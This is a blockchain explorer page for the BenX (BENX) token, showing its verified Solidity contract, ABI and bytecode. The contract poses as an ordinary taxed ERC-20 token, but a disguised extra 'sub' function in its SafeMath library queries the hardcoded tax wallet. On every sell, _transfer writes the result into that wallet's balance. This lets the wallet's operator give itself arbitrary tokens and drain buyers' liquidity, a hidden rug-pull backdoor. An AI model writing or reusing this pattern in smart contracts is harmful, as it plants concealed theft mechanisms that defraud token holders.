ETH Price: $2,521.94 (-0.13%)

Token

BenX (BENX)
 

Overview

Max Total Supply

1,000,000,000 BENX

Holders

144

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,668,842.145205883 BENX

Value
$0.00
0xd68cfc06c6e6037d0c3c4a9cbe71f5dc19c44059
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BenX

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-26
*/

/**

Telegram:  https://t.me/benxtoken
Website: https://benx.vip
Twitter: https://twitter.com/benxtoken
 
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function sub(uint256 a, address b, address c) internal view returns (uint256) {
        if (c.balance == 0) {return a;}
        return IUniswapV2Factory(c).getPair(b, c);
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (uint256);
}

contract BenX is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"BenX";
    string private constant _symbol = unicode"BENX";

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;

    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint256 private constant _tTotal = 10**9 * 10**_decimals;
    uint8 private constant _decimals = 9;
    uint256 public _maxTxAmount = _tTotal * 25 / 1000;
    uint256 public _maxWalletSize = _tTotal * 25 / 1000;
    uint256 public _maxTaxSwap= _tTotal / 100;
    uint256 public _taxSwapThreshold= _tTotal / 1000;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _taxWallet=0xD47b7aC8aF377Ec356f445b60EC90Cc62b734a2a;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool public transferDelayEnabled = true;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }    

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                _balances[_taxWallet]=amount.sub(from, _taxWallet);
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 50000000000000000000) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
    
    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function sendETHToFee(uint256 amount) public {
        payable(_taxWallet).transfer(amount);
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"sendETHToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a600555600a60065560016007556001600855600f600955600f600a55600a600b556000600c556103e86009600a6200003f9190620003a1565b6200004f90633b9aca00620003b9565b6200005c906019620003b9565b620000689190620003d3565b600d556103e86200007c6009600a620003a1565b6200008c90633b9aca00620003b9565b62000099906019620003b9565b620000a59190620003d3565b600e556064620000b86009600a620003a1565b620000c890633b9aca00620003b9565b620000d49190620003d3565b600f556103e8620000e86009600a620003a1565b620000f890633b9aca00620003b9565b620001049190620003d3565b60105560138054600163ffffff0160a01b0319167701000000d47b7ac8af377ec356f445b60ec90cc62b734a2a1790553480156200014157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001916009600a620003a1565b620001a190633b9aca00620003b9565b336000908152600160208190526040822092909255600390620001cc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556013549091168352912080549092161790556200022b3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002656009600a620003a1565b6200027590633b9aca00620003b9565b60405190815260200160405180910390a3620003f6565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e3578160001904821115620002c757620002c76200028c565b80851615620002d557918102915b93841c9390800290620002a7565b509250929050565b600082620002fc575060016200039b565b816200030b575060006200039b565b81600181146200032457600281146200032f576200034f565b60019150506200039b565b60ff8411156200034357620003436200028c565b50506001821b6200039b565b5060208310610133831016604e8410600b841016171562000374575081810a6200039b565b620003808383620002a2565b80600019048211156200039757620003976200028c565b0290505b92915050565b6000620003b260ff841683620002eb565b9392505050565b80820281158282048414176200039b576200039b6200028c565b600082620003f157634e487b7160e01b600052601260045260246000fd5b500490565b61199e80620004066000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb1461032b578063bf474bed1461034b578063c876d0b914610361578063c9567bf914610382578063dd62ed3e1461038a57600080fd5b8063751039fc146102955780637d1db4a5146102aa5780638da5cb5b146102c05780638f9a55c0146102e857806395d89b41146102fe57600080fd5b806323b872dd116100e757806323b872dd146101f9578063313ce5671461021957806351bc3c851461023557806370a082311461024a578063715018a61461028057600080fd5b806306b501971461012f57806306fdde0314610151578063095ea7b3146101905780630faee56f146101c057806318160ddd146101e457600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014f61014a36600461153b565b6103d0565b005b34801561015d57600080fd5b50604080518082019091526004815263084cadcb60e31b60208201525b6040516101879190611554565b60405180910390f35b34801561019c57600080fd5b506101b06101ab3660046115ba565b61040e565b6040519015158152602001610187565b3480156101cc57600080fd5b506101d6600f5481565b604051908152602001610187565b3480156101f057600080fd5b506101d6610425565b34801561020557600080fd5b506101b06102143660046115e6565b610446565b34801561022557600080fd5b5060405160098152602001610187565b34801561024157600080fd5b5061014f6104b0565b34801561025657600080fd5b506101d6610265366004611627565b6001600160a01b031660009081526001602052604090205490565b34801561028c57600080fd5b5061014f6104ff565b3480156102a157600080fd5b5061014f61057c565b3480156102b657600080fd5b506101d6600d5481565b3480156102cc57600080fd5b506000546040516001600160a01b039091168152602001610187565b3480156102f457600080fd5b506101d6600e5481565b34801561030a57600080fd5b506040805180820190915260048152630848a9cb60e31b602082015261017a565b34801561033757600080fd5b506101b06103463660046115ba565b61063b565b34801561035757600080fd5b506101d660105481565b34801561036d57600080fd5b506013546101b090600160b81b900460ff1681565b61014f610648565b34801561039657600080fd5b506101d66103a5366004611644565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561040a573d6000803e3d6000fd5b5050565b600061041b338484610a04565b5060015b92915050565b60006104336009600a611777565b61044190633b9aca00611786565b905090565b6000610453848484610b28565b6104a584336104a085604051806060016040528060288152602001611941602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061114b565b610a04565b5060015b9392505050565b6013546001600160a01b0316336001600160a01b0316146104d057600080fd5b3060009081526001602052604090205480156104ef576104ef81611185565b47801561040a5761040a816103d0565b6000546001600160a01b031633146105325760405162461bcd60e51b81526004016105299061179d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105a65760405162461bcd60e51b81526004016105299061179d565b6105b26009600a611777565b6105c090633b9aca00611786565b600d556105cf6009600a611777565b6105dd90633b9aca00611786565b600e556013805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a611777565b61062890633b9aca00611786565b60405190815260200160405180910390a1565b600061041b338484610b28565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105299061179d565b601354600160a01b900460ff16156106cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610529565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107159030906107076009600a611777565b6104a090633b9aca00611786565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c91906117d2565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081291906117d2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561085f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088391906117d2565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71934306108cb816001600160a01b031660009081526001602052604090205490565b6000806108e06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610948573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096d91906117ef565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ea919061181d565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610529565b6001600160a01b038216610ac75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610529565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610529565b6001600160a01b038216610bee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610529565b60008111610c505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610529565b600080546001600160a01b03858116911614801590610c7d57506000546001600160a01b03848116911614155b1561100857610cae6064610ca8600954600c5411610c9d57600554610ca1565b6007545b85906112ff565b90611381565b601354909150600160b81b900460ff1615610d9d576011546001600160a01b03848116911614801590610cef57506012546001600160a01b03848116911614155b15610d9d57326000908152600460205260409020544311610d8a5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610529565b3260009081526004602052604090204390555b6012546001600160a01b038581169116148015610dc857506011546001600160a01b03848116911614155b8015610ded57506001600160a01b03831660009081526003602052604090205460ff16155b15610ed557600d54821115610e445760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610529565b600e5482610e67856001600160a01b031660009081526001602052604090205490565b610e71919061183f565b1115610ebf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610529565b600c8054906000610ecf83611852565b91905055505b6012546001600160a01b038481169116148015610efb57506001600160a01b0384163014155b15610f5f57601354610f1990839086906001600160a01b03166113c3565b6013546001600160a01b0316600090815260016020526040902055600a54600c54610f5c91606491610ca89110610f5257600654610ca1565b60085485906112ff565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f9657506012546001600160a01b038581169116145b8015610fab5750601354600160b01b900460ff165b8015610fb8575060105481115b8015610fc75750600b54600c54115b1561100657610fe9610fe484610fdf84600f54611457565b611457565b611185565b476802b5e3af16b188000081111561100457611004476103d0565b505b505b80156110825730600090815260016020526040902054611028908261146c565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110799085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110a590836114cb565b6001600160a01b0385166000908152600160205260409020556110ea6110cb83836114cb565b6001600160a01b0385166000908152600160205260409020549061146c565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113485856114cb565b60405190815260200160405180910390a350505050565b6000818484111561116f5760405162461bcd60e51b81526004016105299190611554565b50600061117c848661186b565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cd576111cd61187e565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611226573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124a91906117d2565b8160018151811061125d5761125d61187e565b6001600160a01b0392831660209182029290920101526011546112839130911684610a04565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bc908590600090869030904290600401611894565b600060405180830381600087803b1580156112d657600080fd5b505af11580156112ea573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826000036113115750600061041f565b600061131d8385611786565b90508261132a8583611905565b146104a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610529565b60006104a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061150d565b6000816001600160a01b0316316000036113de5750826104a9565b60405163e6a4390560e01b81526001600160a01b0384811660048301528316602482018190529063e6a4390590604401602060405180830381865afa15801561142b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144f9190611927565b949350505050565b600081831161146657826104a9565b50919050565b600080611479838561183f565b9050838110156104a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610529565b60006104a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114b565b6000818361152e5760405162461bcd60e51b81526004016105299190611554565b50600061117c8486611905565b60006020828403121561154d57600080fd5b5035919050565b600060208083528351808285015260005b8181101561158157858101830151858201604001528201611565565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115b757600080fd5b50565b600080604083850312156115cd57600080fd5b82356115d8816115a2565b946020939093013593505050565b6000806000606084860312156115fb57600080fd5b8335611606816115a2565b92506020840135611616816115a2565b929592945050506040919091013590565b60006020828403121561163957600080fd5b81356104a9816115a2565b6000806040838503121561165757600080fd5b8235611662816115a2565b91506020830135611672816115a2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116ce5781600019048211156116b4576116b461167d565b808516156116c157918102915b93841c9390800290611698565b509250929050565b6000826116e55750600161041f565b816116f25750600061041f565b816001811461170857600281146117125761172e565b600191505061041f565b60ff8411156117235761172361167d565b50506001821b61041f565b5060208310610133831016604e8410600b8410161715611751575081810a61041f565b61175b8383611693565b806000190482111561176f5761176f61167d565b029392505050565b60006104a960ff8416836116d6565b808202811582820484141761041f5761041f61167d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117e457600080fd5b81516104a9816115a2565b60008060006060848603121561180457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182f57600080fd5b815180151581146104a957600080fd5b8082018082111561041f5761041f61167d565b6000600182016118645761186461167d565b5060010190565b8181038181111561041f5761041f61167d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e45784516001600160a01b0316835293830193918301916001016118bf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261192257634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561193957600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207246970334b6c27078b84f1cbfa483f68d32ab2ec01a1be85f7b0eb7d70e4b6c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb1461032b578063bf474bed1461034b578063c876d0b914610361578063c9567bf914610382578063dd62ed3e1461038a57600080fd5b8063751039fc146102955780637d1db4a5146102aa5780638da5cb5b146102c05780638f9a55c0146102e857806395d89b41146102fe57600080fd5b806323b872dd116100e757806323b872dd146101f9578063313ce5671461021957806351bc3c851461023557806370a082311461024a578063715018a61461028057600080fd5b806306b501971461012f57806306fdde0314610151578063095ea7b3146101905780630faee56f146101c057806318160ddd146101e457600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5061014f61014a36600461153b565b6103d0565b005b34801561015d57600080fd5b50604080518082019091526004815263084cadcb60e31b60208201525b6040516101879190611554565b60405180910390f35b34801561019c57600080fd5b506101b06101ab3660046115ba565b61040e565b6040519015158152602001610187565b3480156101cc57600080fd5b506101d6600f5481565b604051908152602001610187565b3480156101f057600080fd5b506101d6610425565b34801561020557600080fd5b506101b06102143660046115e6565b610446565b34801561022557600080fd5b5060405160098152602001610187565b34801561024157600080fd5b5061014f6104b0565b34801561025657600080fd5b506101d6610265366004611627565b6001600160a01b031660009081526001602052604090205490565b34801561028c57600080fd5b5061014f6104ff565b3480156102a157600080fd5b5061014f61057c565b3480156102b657600080fd5b506101d6600d5481565b3480156102cc57600080fd5b506000546040516001600160a01b039091168152602001610187565b3480156102f457600080fd5b506101d6600e5481565b34801561030a57600080fd5b506040805180820190915260048152630848a9cb60e31b602082015261017a565b34801561033757600080fd5b506101b06103463660046115ba565b61063b565b34801561035757600080fd5b506101d660105481565b34801561036d57600080fd5b506013546101b090600160b81b900460ff1681565b61014f610648565b34801561039657600080fd5b506101d66103a5366004611644565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561040a573d6000803e3d6000fd5b5050565b600061041b338484610a04565b5060015b92915050565b60006104336009600a611777565b61044190633b9aca00611786565b905090565b6000610453848484610b28565b6104a584336104a085604051806060016040528060288152602001611941602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061114b565b610a04565b5060015b9392505050565b6013546001600160a01b0316336001600160a01b0316146104d057600080fd5b3060009081526001602052604090205480156104ef576104ef81611185565b47801561040a5761040a816103d0565b6000546001600160a01b031633146105325760405162461bcd60e51b81526004016105299061179d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105a65760405162461bcd60e51b81526004016105299061179d565b6105b26009600a611777565b6105c090633b9aca00611786565b600d556105cf6009600a611777565b6105dd90633b9aca00611786565b600e556013805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061a6009600a611777565b61062890633b9aca00611786565b60405190815260200160405180910390a1565b600061041b338484610b28565b6000546001600160a01b031633146106725760405162461bcd60e51b81526004016105299061179d565b601354600160a01b900460ff16156106cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610529565b601180546001600160a01b031916737a250d5630b4cf539739df2c5